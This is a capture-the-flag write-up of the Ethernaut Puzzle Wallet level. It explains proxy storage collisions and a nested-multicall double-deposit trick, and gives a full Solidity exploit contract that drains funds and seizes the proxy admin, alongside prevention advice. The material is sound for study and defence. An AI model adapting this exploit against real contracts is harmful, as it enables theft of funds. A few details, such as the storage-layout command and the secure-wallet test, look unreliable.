Skip to content
On this page

Exploiting Storage Collisions in Upgradeable Proxies: A Deep Dive into the Puzzle Wallet CTF Challenge

Introduction

In the rapidly evolving world of decentralized finance (DeFi), security remains paramount. The Puzzle Wallet challenge from OpenZeppelin's Ethernaut platform presents a sophisticated attack vector that combines proxy patterns, storage collisions, and contract logic manipulation. This technical article will dissect the vulnerability, explain the underlying concepts, and demonstrate a complete exploit.

Understanding the Architecture

The Proxy Pattern in Ethereum

Upgradeable smart contracts represent a critical innovation in blockchain development, allowing developers to fix bugs and add features without migrating to entirely new contracts. The most common implementation uses a proxy pattern where:

  1. Proxy Contract: Stores state variables and delegates calls to the implementation
  2. Implementation Contract: Contains the business logic but doesn't store persistent state
solidity
// Simplified proxy pattern
contract Proxy {
    address public implementation;
    
    fallback() external payable {
        address impl = implementation;
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }
}

The Delegatecall Mechanism

The delegatecall opcode is central to proxy patterns. Unlike regular calls, delegatecall executes code from another contract while preserving the caller's context:

  • msg.sender remains the original caller
  • msg.value remains the original value
  • Storage is accessed from the calling contract's storage

This behavior creates potential vulnerabilities when storage layouts between proxy and implementation contracts aren't properly aligned.

Analyzing the Vulnerable Contracts

Storage Layout Analysis

The critical vulnerability in Puzzle Wallet stems from storage collisions between the proxy and implementation contracts. Let's examine their storage layouts:

PuzzleProxy Storage Layout:

solidity
slot 0: address public pendingAdmin
slot 1: address public admin

PuzzleWallet Storage Layout:

solidity
slot 0: address public owner
slot 1: uint256 public maxBalance
slot 2: mapping(address => bool) public whitelisted
slot 3: mapping(address => uint256) public balances

The collision occurs because both contracts use the same storage slots for different purposes. When PuzzleWallet writes to owner (slot 0), it's actually writing to pendingAdmin in the proxy. Similarly, writing to maxBalance (slot 1) affects the proxy's admin variable.

Contract Functions Analysis

PuzzleProxy Key Functions:

solidity
function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;  // Writes to slot 0
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
    require(pendingAdmin == _expectedAdmin, "Expected new admin...");
    admin = pendingAdmin;  // Writes to slot 1
}

PuzzleWallet Key Functions:

solidity
function init(uint256 _maxBalance) public {
    require(maxBalance == 0, "Already initialized");
    maxBalance = _maxBalance;  // Writes to slot 1 (proxy's admin)
    owner = msg.sender;        // Writes to slot 0 (proxy's pendingAdmin)
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
    require(address(this).balance == 0, "Contract balance is not 0");
    maxBalance = _maxBalance;  // Writes to slot 1 (proxy's admin)
}

The Attack Strategy

Step 1: Becoming the Pending Admin

The first step exploits the storage collision between owner and pendingAdmin. By calling proposeNewAdmin() on the proxy, we can set ourselves as the pending admin. However, we need to become the actual admin to complete the attack.

solidity
// Attack Step 1: Become pendingAdmin
target.proposeNewAdmin(address(this));

Step 2: Gaining Whitelist Access

To call setMaxBalance(), we need to be whitelisted. The addToWhitelist() function checks if the caller is the owner. Since owner and pendingAdmin share the same storage slot, we can add ourselves to the whitelist:

solidity
// Attack Step 2: Add ourselves to whitelist
target.addToWhitelist(address(this));

Step 3: Manipulating Contract Balance

The setMaxBalance() function requires the contract balance to be zero. However, users have deposited funds. We need to drain the contract while appearing to maintain our balance. This is where the multicall() vulnerability comes into play.

The Multicall Vulnerability

The multicall() function contains a critical flaw in its deposit protection mechanism:

solidity
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            depositCalled = true;
        }
        (bool success,) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

The vulnerability allows us to call multicall() recursively, bypassing the depositCalled check. Here's how:

  1. First multicall() call with two actions:
    • Call multicall() again (nested)
    • Call deposit()
  2. The nested multicall() can call deposit() without triggering the check
  3. This allows double-counting of deposited ETH

Step 4: Executing the Double-Spend Attack

solidity
// Prepare the attack calls
bytes[] memory depositCalldata = new bytes[](1);
depositCalldata[0] = abi.encodeWithSelector(target.deposit.selector);

bytes[] memory multicallCalldata = new bytes[](2);
multicallCalldata[0] = abi.encodeWithSelector(
    target.multicall.selector, 
    depositCalldata
);
multicallCalldata[1] = depositCalldata[0];

// Execute the multicall with 0.001 ETH
target.multicall{value: 0.001 ether}(multicallCalldata);

This creates the following execution flow:

  1. Outer multicall() starts with depositCalled = false
  2. First iteration: Calls inner multicall() with deposit data
  3. Inner multicall() starts fresh with depositCalled = false
  4. Inner call deposits 0.001 ETH, sets depositCalled = true
  5. Returns to outer multicall()
  6. Outer multicall() second iteration: Calls deposit() directly
  7. Another 0.001 ETH deposited, but balance recorded twice

The result: We deposit 0.001 ETH total, but our balance shows 0.002 ETH.

Step 5: Draining the Contract

With an inflated balance, we can now drain the contract:

solidity
// Withdraw double our actual deposit
target.execute(msg.sender, 0.002 ether, "");

Step 6: Becoming the Admin

Finally, with the contract balance at zero, we can call setMaxBalance() to overwrite the admin:

solidity
// Convert our address to uint256 and set as maxBalance
target.setMaxBalance(uint256(uint160(msg.sender)));

Since maxBalance shares storage with admin, this sets us as the contract admin.

Complete Exploit Contract

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IPuzzleWallet {
    function proposeNewAdmin(address) external;
    function addToWhitelist(address) external;
    function deposit() external payable;
    function multicall(bytes[] calldata) external payable;
    function execute(address, uint256, bytes calldata) external payable;
    function setMaxBalance(uint256) external;
    function admin() external view returns (address);
}

contract PuzzleWalletExploit {
    IPuzzleWallet private immutable target;
    
    constructor(address _target) payable {
        require(msg.value == 0.001 ether, "Send exactly 0.001 ETH");
        target = IPuzzleWallet(_target);
        
        // Step 1: Become pendingAdmin (sets owner in PuzzleWallet)
        target.proposeNewAdmin(address(this));
        
        // Step 2: Add ourselves to whitelist
        target.addToWhitelist(address(this));
        
        // Step 3: Prepare multicall data for double-spend
        bytes[] memory depositData = new bytes[](1);
        depositData[0] = abi.encodeWithSelector(target.deposit.selector);
        
        bytes[] memory multicallData = new bytes[](2);
        multicallData[0] = abi.encodeWithSelector(
            target.multicall.selector, 
            depositData
        );
        multicallData[1] = depositData[0];
        
        // Step 4: Execute double-spend
        target.multicall{value: 0.001 ether}(multicallData);
        
        // Step 5: Drain contract (withdraw double our deposit)
        target.execute(msg.sender, 0.002 ether, "");
        
        // Step 6: Become admin by setting maxBalance
        target.setMaxBalance(uint256(uint160(msg.sender)));
        
        // Verify we're now the admin
        require(target.admin() == msg.sender, "Exploit failed");
    }
}

Prevention and Best Practices

1. Use Transparent Proxy Pattern

OpenZeppelin's Transparent Proxy Pattern prevents storage collisions by separating proxy and implementation logic:

solidity
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

contract SecureWallet is TransparentUpgradeableProxy {
    constructor(
        address _logic,
        address admin_,
        bytes memory _data
    ) TransparentUpgradeableProxy(_logic, admin_, _data) {}
}

2. Implement Storage Gap

Add a storage gap in the implementation contract to prevent future collisions:

solidity
contract SecureImplementation {
    // Your state variables here
    
    // Storage gap for future upgrades
    uint256[50] private __gap;
}

3. Use Unstructured Storage Pattern

Store implementation address in a specific, non-colliding storage slot:

solidity
library StorageSlot {
    struct AddressSlot {
        address value;
    }
    
    function getAddressSlot(bytes32 slot) 
        internal 
        pure 
        returns (AddressSlot storage r) 
    {
        assembly {
            r.slot := slot
        }
    }
}

contract SecureProxy {
    bytes32 private constant _IMPLEMENTATION_SLOT = 
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    
    function _implementation() internal view returns (address) {
        return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
    }
}

4. Validate Storage Layout

Use tools to validate storage layout compatibility:

bash
# Using OpenZeppelin Upgrades plugin
npx hardhat verify-storage-layout

5. Implement Initializer Pattern

Replace constructors with initializer functions:

solidity
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract SecureWallet is Initializable {
    function initialize(address _owner) public initializer {
        owner = _owner;
    }
}

Testing the Exploit

Here's a comprehensive test suite using Hardhat:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";

describe("PuzzleWallet Exploit", function () {
    let deployer: SignerWithAddress;
    let attacker: SignerWithAddress;
    let proxy: any;
    let implementation: any;
    let exploit: any;
    
    beforeEach(async function () {
        [deployer, attacker] = await ethers.getSigners();
        
        // Deploy implementation
        const PuzzleWallet = await ethers.getContractFactory("PuzzleWallet");
        implementation = await PuzzleWallet.deploy();
        
        // Encode initialization data
        const initData = implementation.interface.encodeFunctionData("init", [100]);
        
        // Deploy proxy
        const PuzzleProxy = await ethers.getContractFactory("PuzzleProxy");
        proxy = await PuzzleProxy.deploy(
            deployer.address,
            implementation.address,
            initData
        );
        
        // Whitelist deployer
        const wallet = implementation.attach(proxy.address);
        await wallet.addToWhitelist(deployer.address);
        
        // Deposit some funds
        await wallet.deposit({ value: ethers.utils.parseEther("0.001") });
    });
    
    it("Should successfully exploit the contract", async function () {
        // Deploy exploit contract
        const Exploit = await ethers.getContractFactory("PuzzleWalletExploit");
        exploit = await Exploit.connect(attacker).deploy(
            proxy.address,
            { value: ethers.utils.parseEther("0.001") }
        );
        
        // Verify attacker is now admin
        const newAdmin = await proxy.admin();
        expect(newAdmin).to.equal(attacker.address);
        
        // Verify contract is drained
        const contractBalance = await ethers.provider.getBalance(proxy.address);
        expect(contractBalance).to.equal(0);
    });
    
    it("Should prevent reentrancy in multicall", async function () {
        // Test fix: Modified multicall function
        const SecureWallet = await ethers.getContractFactory("SecurePuzzleWallet");
        const secureImplementation = await SecureWallet.deploy();
        
        const initData = secureImplementation.interface.encodeFunctionData("init", [100]);
        
        const SecureProxy = await ethers.getContractFactory("SecureProxy");
        const secureProxy = await SecureProxy.deploy(
            deployer.address,
            secureImplementation.address,
            initData
        );
        
        const secureWallet = secureImplementation.attach(secureProxy.address);
        await secureWallet.addToWhitelist(deployer.address);
        
        // Attempt exploit should fail
        const Exploit = await ethers.getContractFactory("PuzzleWalletExploit");
        await expect(
            Exploit.connect(attacker).deploy(
                secureProxy.address,
                { value: ethers.utils.parseEther("0.001") }
            )
        ).to.be.revertedWith("Exploit failed");
    });
});

Conclusion

The Puzzle Wallet challenge demonstrates several critical security concepts in Ethereum smart contract development:

  1. Storage collisions between proxy and implementation contracts can lead to severe vulnerabilities
  2. Delegatecall behavior must be thoroughly understood when designing proxy systems
  3. Complex function interactions can create unexpected attack vectors
  4. Input validation must consider recursive and nested call patterns

Developers working with upgradeable contracts should:

  • Use established, audited proxy patterns from OpenZeppelin
  • Implement comprehensive storage layout management
  • Conduct thorough testing of all possible execution paths
  • Consider using formal verification tools for critical contracts

As DeFi continues to evolve, understanding these fundamental security principles becomes increasingly important. The Puzzle Wallet serves as an excellent educational tool, highlighting how seemingly minor design decisions can have major security implications in the world of smart contract development.

Built with AiAda